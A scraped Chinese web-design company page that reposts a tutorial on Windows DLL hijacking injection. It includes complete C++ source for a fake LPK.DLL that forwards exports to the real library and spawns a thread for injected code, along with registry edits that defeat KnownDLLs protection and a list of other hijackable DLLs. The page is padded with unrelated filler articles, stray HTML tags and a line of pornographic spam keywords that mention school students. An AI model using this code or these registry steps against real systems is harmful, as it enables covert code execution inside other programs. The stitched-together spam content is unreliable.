1. <nobr id="easjo"><address id="easjo"></address></nobr>

      <track id="easjo"><source id="easjo"></source></track>
      1. 
        

      2. <bdo id="easjo"><optgroup id="easjo"></optgroup></bdo>
      3. <track id="easjo"><source id="easjo"><em id="easjo"></em></source></track><option id="easjo"><span id="easjo"><em id="easjo"></em></span></option>
          貴州做網站公司
          貴州做網站公司~專業!靠譜!
          10年網站模板開發經驗,熟悉國內外開源網站程序,包括DEDECMS,WordPress,ZBlog,Discuz! 等網站程序,可為您提供網站建設,網站克隆,仿站,網頁設計,網站制作,網站推廣優化等服務。我們專注高端營銷型網站,企業官網,集團官網,自適應網站,手機網站,網絡營銷,網站優化,網站服務器環境搭建以及托管運維等。為客戶提供一站式網站解決方案?。?!

          Dll注入技術之劫持注入「建議收藏」

          來源:互聯網轉載 時間:2024-01-29 08:16:28

          Dll注入技術之劫持注入

          測試環境

          系統:Windows 7 32bit

          工具:FileCleaner2.0 和 lpk.dll

          主要思路

          利用Window可以先加載當前目錄下的dll特性,仿造系統的LPK.DLL,讓應用程序先加載我們的偽LPK.DLL,然后在我們的dll中去調用原來系統的原函數.

          引用網絡中的原理講解

          ●背景知識●

          首先我們要了解Windows為什么可以DLL劫持呢?主要是因為Windows的資源共享機制。為了盡可能多得安排資源共享,微軟建議多個應用程序共享的任何模塊應該放在Windows的系統目錄中,如kernel32.dll,這樣能夠方便找到。但是隨著時間的推移,安裝程序會用舊文件或者未向后兼容的新文件來替換系統目錄下的文件,這樣會使一些其他的應用程序無法正確執行,因此,微軟改變了策略,建議應用程序將所有文件放到自己的目錄中去,而不要去碰系統目錄下的任何東西。為了提供這樣的功能,在Window2000開始,微軟加了一個特性,強制操作系統的加載程序首先從應用程序目錄中加載模塊,只有當加載程序無法在應用程序目錄中找到文件,才搜索其他目錄。利用系統的這個特性,就可以使應用程序強制加載我們指定的DLL做一些特殊的工作。舉個例子來說吧,Windows的系統目錄下有一個名為LPK.DLL的系統文件,程序運行時會在c:Windowssystem32文件夾下找到這個DLL文件并加載它。如打開記事本程序,用360的進程管理工具可以顯示記事本進程加載的所有模塊,如圖1所示。

          圖1 記事本加載的所有模塊

          可以看到記事本加載了c:Windowssystem32LPK.DLL。

          ●什么是DLL劫持●

          根據前面說的Windows資源共享機制,操作系統加載程序首先從應用程序目錄中加載模塊。這一特性在注冊表中也有體現:HKLMSystemCurrentControlSetControlSession ManagerSafeDllSearchMode,如果為1,搜索的順序為:應用程序所在目錄->系統目錄(用GetSystemDirectory獲取)->16位系統目錄->Windows目錄(用GetWindowsDirectory獲取)->運行程序的當前目錄->PATH環境變量,如果為0,搜索順序為:應用程序所在目錄->運行程序的當前目錄->系統目錄(用GetSystemDirectory獲取)->16位系統目錄->Windows目錄(用GetWindowsDirectory獲取)->PATH環境變量。Windows Server 2003默認值為1,Windows XP/2000默認值為0或者沒有這個鍵值。但是不管是哪種情況,第一個搜索的肯定是應用程序的所在目錄,這樣就有機會讓應用程序去加載我們的DLL。如果這個DLL和系統目錄下的某個DLL同名,導出表也相同,功能就是加載系統目錄下的那個DLL,并且將導出表轉發到那個真實的DLL。這時DLL劫持就發生了??梢钥闯?構造一個符合上面要求的DLL,再將其放在可執行文件的目錄即可輕松實現DLL劫持了。

          ●DLL劫持的實現●

          這一步我們的工作就是通過編程來實現一個LPK.DLL文件,它與系統目錄下的LPK.DLL導出表相同,并能加載系統目錄下的LPK.DLL,并且能將導出表轉發到真實的LPK.DLL??梢钥闯鑫覀円獙崿F的這個DLL需求如下:1、構造一個與系統目錄下LPK.DLL一樣的導出表;2、加載系統目錄下的LPK.DLL;3、將導出函數轉發到系統目錄下的LPK.DLL上;

          4、在初始化函數中加入我們要執行的代碼。

          主要代碼

          實現偽造的LPK.DLL

          //// LPK.DLL劫持注入源碼//// 頭文件#include "stdafx.h"#include <Windows.h>#include <process.h>// 導出函數#pragma comment(linker, "/EXPORT:LpkInitialize=_AheadLib_LpkInitialize,@1")#pragma comment(linker, "/EXPORT:LpkTabbedTextOut=_AheadLib_LpkTabbedTextOut,@2")#pragma comment(linker, "/EXPORT:LpkDllInitialize=_AheadLib_LpkDllInitialize,@3")#pragma comment(linker, "/EXPORT:LpkDrawTextEx=_AheadLib_LpkDrawTextEx,@4")//#pragma comment(linker, "/EXPORT:LpkEditControl=_AheadLib_LpkEditControl,@5")#pragma comment(linker, "/EXPORT:LpkExtTextOut=_AheadLib_LpkExtTextOut,@6")#pragma comment(linker, "/EXPORT:LpkGetCharacterPlacement=_AheadLib_LpkGetCharacterPlacement,@7")#pragma comment(linker, "/EXPORT:LpkGetTextExtentExPoint=_AheadLib_LpkGetTextExtentExPoint,@8")#pragma comment(linker, "/EXPORT:LpkPSMTextOut=_AheadLib_LpkPSMTextOut,@9")#pragma comment(linker, "/EXPORT:LpkUseGDIWidthCache=_AheadLib_LpkUseGDIWidthCache,@10")#pragma comment(linker, "/EXPORT:ftsWordBreak=_AheadLib_ftsWordBreak,@11")// 宏定義#define EXTERNC extern "C"#define NAKED __declspec(naked)#define EXPORT __declspec(dllexport)#define ALCPP EXPORT NAKED#define ALSTD EXTERNC EXPORT NAKED void __stdcall#define ALCFAST EXTERNC EXPORT NAKED void __fastcall#define ALCDECL EXTERNC NAKED void __cdecl//LpkEditControl導出的是數組,不是單一的函數(by Backer)EXTERNC void __cdecl AheadLib_LpkEditControl(void);EXTERNC __declspec(dllexport) void(*LpkEditControl[14])() = { AheadLib_LpkEditControl };  //添加全局變量  // AheadLib 命名空間namespace AheadLib{HMODULE m_hModule = NULL;// 原始模塊句柄// 加載原始模塊inline BOOL WINAPI Load(){TCHAR tzPath[MAX_PATH];TCHAR tzTemp[MAX_PATH * 2];GetSystemDirectory(tzPath, MAX_PATH);lstrcat(tzPath, TEXT("\lpk.dll"));m_hModule = LoadLibrary(tzPath);if (m_hModule == NULL){wsprintf(tzTemp, TEXT("無法加載 %s,程序無法正常運行。"), tzPath);MessageBox(NULL, tzTemp, TEXT("AheadLib"), MB_ICONSTOP);};//MessageBox(NULL, "原始模塊加載成功", TEXT("AheadLib"), MB_ICONSTOP);return (m_hModule != NULL);}// 釋放原始模塊inline VOID WINAPI Free(){if (m_hModule){FreeLibrary(m_hModule);}}// 獲取原始函數地址FARPROC WINAPI GetAddress(PCSTR pszProcName){FARPROC fpAddress;char szProcName[16];TCHAR tzTemp[MAX_PATH];fpAddress = GetProcAddress(m_hModule, pszProcName);if (fpAddress == NULL){if (HIWORD(pszProcName) == 0){wsprintfA(szProcName, "%d", pszProcName);pszProcName = szProcName;}wsprintf(tzTemp, TEXT("無法找到函數 %hs,程序無法正常運行。"), pszProcName);MessageBox(NULL, tzTemp, TEXT("AheadLib"), MB_ICONSTOP);ExitProcess(-2);}return fpAddress;}}using namespace AheadLib;    //函數聲明void WINAPIV InitInject(LPVOID pParam);//自己添加功能的函數void WINAPIV InitInject(LPVOID pParam){//在這里可以添加自己的DLL//LoadLibrary(TEXT(".\MyDll.dll"));MessageBox(NULL, TEXT("LPK劫持成功"), TEXT("警告"),NULL);return;}  // 入口函數BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved){if (dwReason == DLL_PROCESS_ATTACH){DisableThreadLibraryCalls(hModule);if (Load()){//LpkEditControl這個數組有14個成員,必須將其復制過來    memcpy((LPVOID)(LpkEditControl + 1), (LPVOID)((int*)GetAddress("LpkEditControl") + 1), 52);_beginthread(InitInject, NULL, NULL);//創建新線程實現自己的功能}else {//MessageBox(NULL, "初始化失敗", "123 ERROR", MB_ICONSTOP);return FALSE;}}else if (dwReason == DLL_PROCESS_DETACH){Free();}return TRUE;}// 導出函數ALCDECL AheadLib_LpkInitialize(void){GetAddress("LpkInitialize");__asm JMP EAX;}// 導出函數ALCDECL AheadLib_LpkTabbedTextOut(void){GetAddress("LpkTabbedTextOut");__asm JMP EAX;}// 導出函數ALCDECL AheadLib_LpkDllInitialize(void){GetAddress("LpkDllInitialize");__asm JMP EAX;}// 導出函數ALCDECL AheadLib_LpkDrawTextEx(void){GetAddress("LpkDrawTextEx");__asm JMP EAX;}// 導出函數ALCDECL AheadLib_LpkEditControl(void){GetAddress("LpkEditControl");__asm jmp DWORD ptr[EAX];//這里的LpkEditControl是數組,eax存的是函數指針}// 導出函數ALCDECL AheadLib_LpkExtTextOut(void){GetAddress("LpkExtTextOut");__asm JMP EAX;}// 導出函數ALCDECL AheadLib_LpkGetCharacterPlacement(void){GetAddress("LpkGetCharacterPlacement");__asm JMP EAX;}// 導出函數ALCDECL AheadLib_LpkGetTextExtentExPoint(void){GetAddress("LpkGetTextExtentExPoint");__asm JMP EAX;}// 導出函數ALCDECL AheadLib_LpkPSMTextOut(void){GetAddress("LpkPSMTextOut");__asm JMP EAX;}// 導出函數ALCDECL AheadLib_LpkUseGDIWidthCache(void){GetAddress("LpkUseGDIWidthCache");__asm JMP EAX;}// 導出函數ALCDECL AheadLib_ftsWordBreak(void){GetAddress("ftsWordBreak");__asm JMP EAX;}

          實現效果

          把偽造的LPK.DLL放在程序同目錄下(這樣會首先加載我們偽造的DLL)注:可能需要修改注冊表,使得程序從執行文件所在目錄加載DLL(修改完可能需要重啟)有些高版本系統和程序已經不能劫持lpk.dll了,這里我用了”黑客反病毒論壇”的FileCleaner2.0.exe程序測試成功!其他可劫持的dll為:lpk.dll、winmm.dll、ws2_32.dll、ws2help.dll、version.dll、usp10.dll、msimg32.dll、midimap.dll、ksuser.dll、comres.dll、ddraw.dll等XP:把HKEY_LOCAL_MACHINESystemCurrentControlSetControlSessionManagerknowndlls下的lpk項刪除掉,重啟電腦。WIN7:在HKEY_LOCAL_MACHINESystemCurrentControlSetControlSessionManager添加一個鍵值ExcludeFromKnownDlls(多字符串類型),把lpk.dll加進去。如果需要其他DLL請自行加入。

          如圖:

          查看我們偽造的LPK.DLL導出表,與系統原來的一樣

          運行程序后先加載了我們偽造的LPK.DLL,程序被劫持

          從模塊列表中也可以看到,既加載了我們偽造的LPK.DLL,也加載了系統的lpk.dll

          145483.html

          標簽:ksuser.dll-

          網絡推廣與網站優化公司(網絡優化與推廣專家)作為數字營銷領域的核心服務提供方,其價值在于通過技術手段與策略規劃幫助企業提升線上曝光度、用戶轉化率及品牌影響力。這...

          在當今數字化時代,公司網站已成為企業展示形象、傳遞信息和開展業務的重要平臺。然而,對于許多公司來說,網站建設的價格是一個關鍵考量因素。本文將圍繞“公司網站建設價...

          在當今的數字化時代,企業網站已成為企業展示形象、吸引客戶和開展業務的重要平臺。然而,對于許多中小企業來說,高昂的網站建設費用可能會成為其發展的瓶頸。幸運的是,隨...

          江蘇十大食品批發市場?1.水果紅德隆水果批發市場。在312國道和楊東,紅德隆的交叉口,躍進橋的東邊。誰知道在哪里?在長江路農貿市場旁邊。如果是從市區來的,從正陽橋南側的橋下哪條路一直往西走。上海西郊水果批發市場位于上海浦東。2.劉墉水果有一家水果批發店。商家也有批發的。在齊花園的北面有一個孫樓市場。以前羅城商場排在旁邊,排在巷子里。在西環路和南環路的紅綠燈處向南500米?,F在昆山的水果批發商都搬到...

          pv值、sp值、op值是甚么意思?PV的英文全稱是process value。SP的英文全名為set point。OP的英文全名是output value??刂破鱬v和sp是什么?1. PV的英文全稱為“過程值”,是指當前的過程測量值。2. SP的英文全稱為“set point”,是指PID控制的設定值。pv和sv是什么意思?元件的設定值(通常我們設定溫度、壓力、流量、電壓、電流等),SV有時寫為...

          騰達N300怎么樣?騰達n300v3300m無線路由器是一款低端家用路由器,價格低廉,可以滿足普通家庭的需求。具有以下特點:1.?價格更低,節約了成本。2.菜單簡單,設置簡單,安裝方便。3.支持無線中繼功能,可以擴大無線覆蓋范圍。4.無線傳輸速率快,最高300m。騰達N300無線路由器怎么樣?1.這款路由器的用戶大多是家庭用戶和中小企業。路由器的價格相對便宜,當然質量也有保證。2.這個路由器的無線...

          TOP
          国产初高中生视频在线观看|亚洲一区中文|久久亚洲欧美国产精品|黄色网站入口免费进人
          1. <nobr id="easjo"><address id="easjo"></address></nobr>

              <track id="easjo"><source id="easjo"></source></track>
              1. 
                

              2. <bdo id="easjo"><optgroup id="easjo"></optgroup></bdo>
              3. <track id="easjo"><source id="easjo"><em id="easjo"></em></source></track><option id="easjo"><span id="easjo"><em id="easjo"></em></span></option>